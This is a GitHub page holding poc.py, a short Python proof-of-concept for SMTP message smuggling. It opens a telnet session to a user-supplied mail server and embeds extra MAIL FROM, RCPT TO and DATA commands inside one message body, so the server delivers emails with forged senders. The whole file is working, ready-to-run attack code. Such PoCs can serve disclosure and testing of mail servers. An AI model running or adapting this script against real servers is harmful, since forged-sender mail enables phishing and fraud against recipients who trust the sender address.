-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.py
47 lines (34 loc) · 1.08 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import telnetlib
import time
host = input("Enter host: ")
port = int(input("Enter port: "))
tn = telnetlib.Telnet(host, port)
tn.read_until(b"220")
tn.write(b"HELO " + host.encode() + b"\r\n")
tn.read_until(b"250")
tn.write(b"MAIL FROM: <[email protected]>\r\n")
tn.read_until(b"250")
tn.write(b"RCPT TO: <[email protected]>\r\n")
tn.read_until(b"250")
tn.write(b"data\r\n")
tn.read_until(b"354")
email_content = """From: [email protected]
Subject: 1st email
1st email content with many others emails
."""
tn.write(email_content.encode() + b"\r\n")
tn.read_until(b"250")
for i in range(1, 4):
spoofed_email = f"""mail FROM:<spoofedvalidrecipient#{i}@validerecipientdomain.com>
rcpt TO:<validrecipient#{i}@validerecipientdomain.com>
data\r
From: spoofedvalidrecipient#{i}@validerecipientdomain.com
To: validrecipient#{i}@validerecipientdomain.com
Subject: Spoofed email #{i}
Content of the #{i} spoofed email
."""
tn.write(spoofed_email.encode() + b"\r\n")
tn.read_until(b"250")
tn.write(b"quit\r\n")
tn.close()